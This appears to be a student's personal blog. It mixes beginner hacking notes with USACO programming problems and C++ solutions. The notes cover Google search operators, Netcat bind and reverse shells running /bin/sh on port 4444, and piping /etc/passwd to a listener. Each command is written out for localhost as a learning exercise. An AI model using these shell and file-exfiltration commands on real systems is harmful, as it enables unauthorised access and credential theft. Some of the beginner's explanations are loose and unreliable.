Be yourself; Everyone else is already taken.
— Oscar Wilde.
This is the first post on my new blog. I’m just getting this new blog going, so stay tuned for more. Subscribe below to get notified when I post new updates.
Be yourself; Everyone else is already taken.
— Oscar Wilde.
This is the first post on my new blog. I’m just getting this new blog going, so stay tuned for more. Subscribe below to get notified when I post new updates.
Passive Scanning is the first stage of hacking: it does not establish direct connection with the server, but is a “passive” process to learn more about the server.
In this post, I will talk about using Google.
these are the simple commands you can use on the google search engine:
site <string> // site name includes string
-<string> // search result excludes string
inurl: <string> // search result includes string in url, common: admin
intitle: "<string>" // search result includes string in title, common: index of
IF THERE ARE ANYTHING THAT I GOT WRONG, PLEASE DON’T HESITATE TO LEAVE ON THE COMMENTS. AS A BEGINNER, THERE MAY BE SOME ERRORS.
Set up the same Netcat connection from the database side, but a little differently:
nc -lvp 4444 -e /bin/sh // listen to 4444, after establishing connection execute /bin/sh
This executes /bin/sh after establishing connection with port 4444
On the external (hacker) side, establish the connection:
nc localhost 4444
this will enable the external side to probably up to the super user access.
you can now execute commands from the external tool.
ex. permission:
id
>> uid=0(root) gid=0(root) groups=0(root)
ex. ip address
ip addr
>> 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group ....
REVERSE SHELL, is different: its establishing connection from external (hacker side) and connecting the database to it.
basically, just listen to a port on external and open up connection inside the database via the same port.
nc -lvp 4444 // on hacker side
nc localhost 4444 -e /bin/sh // on database side
even though the code is similar, this goes the opposite way.
This is used when a firewall is blocking different connections /listening from the database.
(from inside to outside)
IF THERE ARE ANYTHING THAT I GOT WRONG, PLEASE DON’T HESITATE TO LEAVE ON THE COMMENTS. AS A BEGINNER, THERE MAY BE SOME ERRORS.
In terminal using Kali Linux;
NetCat –> nc
nc -h // help
NetCat Listen to
nc -lvp 4444 // Listen to port 4444, verbal
Establish Connection
nc localhost 4444 // Connect to port 4444 at localhost
This will establish connection between two sections
File recieve/send
*in Linux, all PW files are stored in /etc/passwd, and through NetCat you can send over the file from the system to another.
*receiving computer
nc -lvp 4444 > passwd // listen to port 4444 for file passwd
*sending computer
nc -q 0 localhost 4444 < /etc/passwd //terminate after sending /etc/passwd to 4444 at localhost
This will send the file /etc/passwd to port 4444 of localhost.
IF THERE ARE ANYTHING THAT I GOT WRONG, PLEASE DON’T HESITATE TO LEAVE ON THE COMMENTS. AS A BEGINNER, THERE MAY BE SOME ERRORS.
Every year the cows hold an event featuring a peculiar version of hopscotch that involves carefully jumping from rock to rock in a river. The excitement takes place on a long, straight river with a rock at the start and another rock at the end, L units away from the start (1 <= L <= 1,000,000,000). Along the river between the starting and ending rocks, N (0 <= N <= 50,000) more rocks appear, each at an integral distance Di from the start (0 < Di < L).
To play the game, each cow in turn starts at the starting rock and tries to reach the finish at the ending rock, jumping only from rock to rock. Of course, less agile cows never make it to the final rock, ending up instead in the river.
Farmer John is proud of his cows and watches this event each year. But as time goes by, he tires of watching the timid cows of the other farmers limp across the short distances between rocks placed too closely together. He plans to remove several rocks in order to increase the shortest distance a cow will have to jump to reach the end. He knows he cannot remove the starting and ending rocks, but he calculates that he has enough resources to remove up to M rocks (0 <= M <= N).
FJ wants to know exactly how much he can increase the shortest distance *before* he starts removing the rocks. Help Farmer John determine the greatest possible shortest distance a cow has to jump after removing the optimal set of M rocks.
Line 1: Three space-separated integers: L, N, and M
Lines 2..N+1: Each line contains a single integer indicating how far some rock is away from the starting rock. No two rocks share the same position.
Line 1: A single integer that is the maximum of the shortest distance a cow has to jump after removing M rocks
25 5 2 2 14 11 21 17
4
This is also a binary search question, if you think about it; if you know that every rocks are at least d distance apart after removing some rocks, then if the amount of rocks you remove are smaller than M, then the maximum d you can obtain would be the answer for this question.
Here’s my code:
//
// main.cpp
// 제자리 멀리뛰기
//
// Created by Shin Lee on 24/03/2020.
// Copyright © 2020 Shin Lee. All rights reserved.
//
#include <bits/stdc++.h>
using namespace std;
int n, d, m; int arr[50005];int dist[50005];
int main(){
cin >> d >> n >> m;
for(int i=0;i<n;i++){
cin >> arr[i];
}
arr[n]=0; arr[n+1]=d;
sort(arr,arr+n+2);
int hi = d, lo = 1;
while(hi>lo){
// printf("hi = %d, lo = %d\n",hi,lo);
int mid = (hi+lo+1)/2;
int pos=0;int cnt=0;
for(int i=1;i<=n+1;i++){
if(arr[i]-arr[pos]<mid){
cnt++;
}else {
pos = i;
}
}
if(cnt<=m){
lo = mid;
}else hi = mid-1;
}
cout << lo;
}
Umm, so now the COVID-19 Virus is a serious issue in the States, our school (I think most of the schools in America are closing down, hopefully) decided to close down until next year and hold online classes using Ringcentral instead of meeting. Hooray to all my boarding fee and tuition for doing nothing.
I think due to uncontrollable situation (disaster) it is fair that we have to do online classes that, due to their nature, are more limited that offline classes. However, I think we should still try to resume our normal activities online (well, I’m going to see if I can hold my club together :} )
Ehh. Well online classes start from tomorrow, and hopefully it’ll turn out well.
Despite long delays in airport pickups, Farmer John’s convention for cows interested in eating grass has been going well so far. It has attracted cows from all over the world.
The main event of the conference, however, is looking like it might cause Farmer John some further scheduling woes. A very small pasture on his farm features a rare form of grass that is supposed to be the tastiest in the world, according to discerning cows. As a result, all of the N cows at the conference (1≤N≤10^5) want to sample this grass. This will likely cause long lines to form, since the pasture is so small it can only accommodate one cow at a time.
Farmer John knows the time Ai that each cow i plans to arrive at the special pasture, as well as the amount of time Ti she plans to spend sampling the special grass, once it becomes her turn. Once cow i starts eating the grass, she spends her full time of Ti before leaving, during which other arriving cows need to wait. If multiple cows are waiting when the pasture becomes available again, the cow with the highest seniority is the next to be allowed to sample the grass. For this purpose, a cow who arrives right as another cow is finishing is considered “waiting”. Similarly, if a number of cows all arrive at exactly the same time while no cow is currently eating, then the one with highest seniority is the next to eat.
Please help FJ compute the maximum amount of time any cow might possibly have to wait in line (between time Ai and the time the cow begins eating).
The first line of input contains N. Each of the next N lines specify the details of the N cows in order of seniority (the most senior cow being first). Each line contains Ai and Ti for one cow. The Ti‘s are positive integers each at most 10^4, and the Ai‘s are positive integers at most 10^9.
Please print the longest potential waiting time over all the cows.
5 25 3 105 30 20 50 10 17 100 10
10
In this example, we have 5 cows (numbered 1..5 according to their order in the input). Cow 4 is the first to arrive (at time 10), and before she can finish eating (at time 27) cows 1 and 3 both arrive. Since cow 1 has higher seniority, she gets to eat next, having waited 2 units of time beyond her arrival time. She finishes at time 30, and then cow 3 starts eating, having waited for 10 units of time beyond her starting time. After a gap where no cow eats, cow 5 arrives and then while she is eating cow 2 arrives, eating 5 units of time later. The cow who is delayed the most relative to her arrival time is cow 3.
Problem credits: Brian Dean
Because of how the previous problem was solved, I thought this might be a binary search question, too; I mean, I think you probably could make it a binary search, but it would be pretty unnecessary; this is just simple calculation.
I think the reason it is in silver is because of the time complexity, and you just can’t go through every singe cows comparing this and that, or you’ll reach time limit. You need to have a method to make this more simpler/faster, and I did this by using two priority queues with different rules (there are probably other ways that are a lot more effective, but I did this way). After that, its just simple calculation.
The time complexity of this method would be.. I have no idea. please comment if you know bc I have no idea how much does priority queues take.
Here’s my code:
//
// main.cpp
// Convention II
//
// Created by Shin Lee on 03/01/2020.
// Copyright © 2020 Shin Lee. All rights reserved.
//
#include <iostream>
#include <bits/stdc++.h>
struct cow {
int id;
int time;
int dur;
};
struct cmp{
public:
bool operator() (cow a, cow b)
{
return a.time != b.time ? a.time > b.time : a.id > b.id;
}
};
struct cmp2{
public:
bool operator() (cow a, cow b)
{
return a.id>b.id;
}
};
int n;
using namespace std;
int main() {
priority_queue<cow,vector<cow>, cmp> q;
priority_queue<cow,vector<cow>, cmp2> p;
cin >> n;
for(int i=1;i<=n;i++){
int a, b;
cin >> a >> b;
q.push({i,a,b});
}
int curtime = q.top().time + q.top().dur;
q.pop();
int wait = 0;
/*
while(!p.empty()){
printf("%d %d %d\n",p.top().id, p.top().time, p.top().dur);
p.pop();
}
*/
while(!q.empty()){
while(!q.empty() and q.top().time<=curtime ){
p.push(q.top());
//printf("%d %d %d is included\n",f.id, f.time,f.dur);
q.pop();
}
while(!p.empty()){
//printf("initial curtime = %d, looking at %d %d %d\n",curtime,f.id, f.time, f.dur);
int p_wait = curtime - p.top().time;
wait=max(wait,p_wait);
curtime+=p.top().dur;
//printf("%d %d\n",curtime,wait);
p.pop();
while(!q.empty() and q.top().time<=curtime){
p.push({q.top().id, q.top().time, q.top().dur});
q.pop();
}
}
if(!q.empty() and q.top().time>curtime){
curtime = q.top().time + q.top().dur;
q.pop();
}
}
cout << wait;
return 0;
}
Farmer John is hosting a new bovine grass-eating convention at his farm!
Cows from all over the world are arriving at the local airport to attend the convention and eat grass. Specifically, there are N cows arriving at the airport (1≤N≤10^5) and cow ii arrives at time Ti (0≤Ti≤10^9). Farmer John has arranged M (1≤M≤10^5) buses to transport the cows from the airport. Each bus can hold up to C cows in it (1≤C≤N). Farmer John is waiting with the buses at the airport and would like to assign the arriving cows to the buses. A bus can leave at the time when the last cow on it arrives. Farmer John wants to be a good host and so does not want to keep the arriving cows waiting at the airport too long. What is the smallest possible value of the maximum waiting time of any one arriving cow if Farmer John coordinates his buses optimally? A cow’s waiting time is the difference between her arrival time and the departure of her assigned bus.
It is guaranteed that MC≥N.
The first line contains three space separated integers N, M, and C. The next line contains N space separated integers representing the arrival time of each cow.
Please write one line containing the optimal minimum maximum waiting time for any one arriving cow.
6 3 2 1 1 10 14 4 3
4
If the two cows arriving at time 1 go in one bus, cows arriving at times 3 and 4 in the second, and cows arriving at times 10 and 14 in the third, the longest time a cow has to wait is 4 time units (the cow arriving at time 10 waits from time 10 to time 14).
Problem credits: Grace Cai
This one was another question where I couldn’t directly think of the solution at the first look. There are a lot of questions that blind me like this… 😦
At first, I was focusing on how I was going to divide the cows into cars; and coding that way might work, but for me it was way too overworking.
The solution that I used, eventually, was Binary Search; if we search through numbers and look for the minimum maximum amount of time the cow will wait, we’ll be able to solve the problem.
Here’s the code that I wrote:
//
// main.cpp
// convention
//
// Created by Shin Lee on 03/01/2020.
// Copyright © 2020 Shin Lee. All rights reserved.
//
#include <bits/stdc++.h>
using namespace std;
int n, m, c;
const int SIZE = 1e5+5;
int arr[SIZE];
int main() {
//freopen("convention.in","r",stdin);
//freopen("convention.out","w",stdout);
cin >> n >> m >> c;
for(int i=0;i<n;i++){
cin >> arr[i];
}
sort(arr,arr+n);
int low = 0, hi = 1e9;
while(low<hi){
int cnt=1, ans=1, cur=arr[0], mid = (low+hi)/2;
//printf("looking at %d\n",mid);
for(int i=1;i<n;i++){
//printf("looking at pos %d\n",arr[i]);
if(cnt>=c){
//printf("over capacity\n");
ans++;
cur = arr[i];
cnt=1;
}
else if(arr[i]-cur<=mid){
cnt++;
}
else{
//printf("over range\n");
ans++;
cur=arr[i];
cnt=1;
}
//printf("ans = %d, cnt = %d\n",ans,cnt);
}
//printf("final ans at %d is %d\n",mid,ans);
if(ans<=m){
hi = mid;
}else low = mid+1;
//printf("\n\n\n");
}
cout << low;
return 0;
}
Bessie and her little sister Elsie are picking berries in Farmer John’s berry patch. Farmer John’s patch has exactly N berry trees (1≤N≤1000); tree i contains exactly Bi berries (1≤Bi≤1000). Bessie has exactly K baskets (1≤K≤1000, K even). Each basket can hold as many berries from a single tree as Bessie wants, but cannot contain berries from two different trees as their flavors will clash with each other. Baskets may remain empty.
Bessie wants to maximize the number of berries she collects. However, Farmer John wants Bessie to share with her little sister, and so Bessie will have to give Elsie the K/2 baskets with the largest number of berries. This means that Elsie may even end up with more berries than Bessie, which is very unfair, but unfortunately, sibling dynamics are not always fair.
Help Bessie figure out the maximum number of berries she can collect.
The first line of input contains space-separated integers NN and KK.
The second line contains NN space-separated integers B1,B2,…,BN.B1,B2,…,BN.
A single line with the answer.
5 4 3 6 8 4 2
8
If Bessie fills
then she receives two baskets each with 4 berries, giving her 8 berries in total.
Problem credits: Nathan Pinsker
First when I saw this question, this question was so hard; How was I going to figure out how many berries can one get and when was I going to divide a tree into multiple baskets???
But eventually I figured out that you don’t have to; and also figured that this is a binary search question.
As you search through the numbers (and let’s call that number M), if more than N baskets can be filled with M berries, then it is possible that Bessie and Elsie each get M*N/2 Berries. Using this logic, we can see if there are more than N baskets of M, which we binary search, and if it doesn’t, it may still count (Bessie might still get more amount then before, since it would be a higher number of M.), therefore see how much Bessie would still get after she gives away N/2 baskets of M.
So, here’s my code:
//
// main.cpp
// Berry Picking Fix
//
// Created by Shin Lee on 27/03/2020.
// Copyright © 2020 Shin Lee. All rights reserved.
//
#include <bits/stdc++.h>
using namespace std;
int n, k; int berries[1005];int d;
bool cmp(int a, int b){return a%d>b%d;}
int main(){
ios_base::sync_with_stdio(false);
cin.tie(NULL);
cin >> n >> k;
int m =0;
for(int i=0;i<n;i++){
cin >> berries[i];
m=max(m,berries[i]);
}
int ans = 0;
for(int i=1;i<=m;i++){
int cnt = 0;
for(int j=0;j<n;j++){
cnt+=berries[j]/i;
}
if(cnt<k/2)break;
if(cnt>=k){
ans = max(ans,i*(k/2));
continue;
}
d = i;
sort(berries,berries+n,cmp);
int sum = i*(cnt-k/2);
for(int j=0;j<n and j+cnt!=k;j++){
sum+=berries[j]%d;
}
ans = max(ans,sum);
}
cout << ans;
return 0;
}
Farmer John and his cows are planning to leave town for a long vacation, and so FJ wants to temporarily close down his farm to save money in the meantime.
The farm consists of N barns connected with M bidirectional paths between some pairs of barns (1≤N, M≤3000). To shut the farm down, FJ plans to close one barn at a time. When a barn closes, all paths adjacent to that barn also close, and can no longer be used.
FJ is interested in knowing at each point in time (initially, and after each closing) whether his farm is “fully connected” — meaning that it is possible to travel from any open barn to any other open barn along an appropriate series of paths. Since FJ’s farm is initially in somewhat in a state of disrepair, it may not even start out fully connected.
The first line of input contains N and M. The next M lines each describe a path in terms of the pair of barns it connects (barns are conveniently numbered 1…N). The final N lines give a permutation of 1…N describing the order in which the barns will be closed.
The output consists of NN lines, each containing “YES” or “NO”. The first line indicates whether the initial farm is fully connected, and line i+1 indicates whether the farm is fully connected after the i th closing.
4 3 1 2 2 3 3 4 3 4 1 2
YES NO YES YES
Basically what I thought at first was DFS; since I only have to check up to 3000 points and see if they are all connected.
The issue when the farm is closed; it would be way too time-costly if you were to actually ‘erase’ the points as you go. Therefore, you have to use another method.
What I used in this case was I marked in an array (since there are only up to 3000 points) if the points were closed or not, and I just DFSed the way through. The whole time complexity would be O(MN), but since they both are 3000 at max, it would be 3e6, which is enough for the silver problem.
However, I do think I can shorten the time by going backwards; by starting with only one point, then building up the roads and see if the connection effects the farm.
Well, here’s my code anyways:
//
// main.cpp
// Closing the Farm (silver)
//
// Created by Shin Lee on 26/03/2020.
// Copyright © 2020 Shin Lee. All rights reserved.
//
#include <bits/stdc++.h>
using namespace std;
int n, m;
set<int>s;
vector<int>connect[3005];
int order[3005]; int closed[3005]; int visit[3005];
void dfs(int pos){
if(visit[pos]!=0 or closed[pos]==1)return;
s.insert(pos);
visit[pos]=1;
for(int i=0;i<connect[pos].size();i++){
dfs(connect[pos][i]);
}
}
int main(){
cin >> n >> m;
for(int i=0;i<m;i++){
int a, b;
cin >> a >> b;
connect[a].push_back(b);
connect[b].push_back(a);
}
for(int i=0;i<n;i++)cin >> order[i];
dfs(1);
if(s.size()==n)printf("YES\n");
else printf("NO\n");
for(int i=0;i<n-1;i++){
s.clear();
memset(visit,0,sizeof(visit));
closed[order[i]]=1;
dfs(order[n-1]);
if(s.size()==n-i-1){
printf("YES\n");
}else printf("NO\n");
}
return 0;
}
Sorry if the code looks stupid; I can’t afford wordpress premium 😦

//
// main.cpp
// USACO_2020_FEB_01
//
// Created by Shin Lee on 21/02/2020.
// Copyright © 2020 Shin Lee. All rights reserved.
// NO EFFICIENCY VERSION
//#include <stdc++.h>
#include <bits/stdc++.h>
using namespace std;
int n, m ,k;
const int s = 1e5+5;
int original[s];
int c[s], c2[s];
pair<int, int> rule[s];
vector<int>road[s];
int visit[s];
vector<int>connections[s];
void update(){
for(int i=1;i<=n;i++){
original[i]=c[i];
}
}
void dfs(int num, int idx){
if(visit[num]==1){
return;
}
visit[num]=1;
connections[idx].push_back(num);
dfs(road[num][0],idx);
}
int main() {
ios_base::sync_with_stdio(false);
cin.tie(NULL);
freopen("swap.in","r",stdin);
freopen("swap.out","w",stdout);
cin >> n >> m >> k;
for(int i=0;i<m;i++){
cin >> rule[i].first >> rule[i].second;
}
//initial 배열
for(int i=1;i<=n;i++){
original[i]=i;
c[i]=i;
}
//최초 한번
for(int i=0;i<m;i++){
//flip, do the thing
for(int j=rule[i].first;j<=rule[i].second;j++){
c[rule[i].second+rule[i].first-j] = original[j];
}
update();
}
k--;
for(int i=1;i<=n;i++){
road[i].push_back(c[i]);
}
int cnt=0;
for(int i=1;i<=n;i++){
if(visit[i]!=1){
dfs(i,cnt);
cnt++;
}
}
for(int i=0;i<cnt;i++){
for(int j=0;j<connections[i].size();j++){
//printf("%d, ",connections[i][j]);
}
//printf("\n");
}
for(int i=0;i<cnt;i++){
for(int j=0;j<connections[i].size();j++){
c2[connections[i][j]]=connections[i][(j+k%connections[i].size()+1)%connections[i].size()];
}
}
for(int i=1;i<=n;i++){
printf("%d\n",c2[i]);
}
return 0;
}
Have a WordPress.com account? Log in now.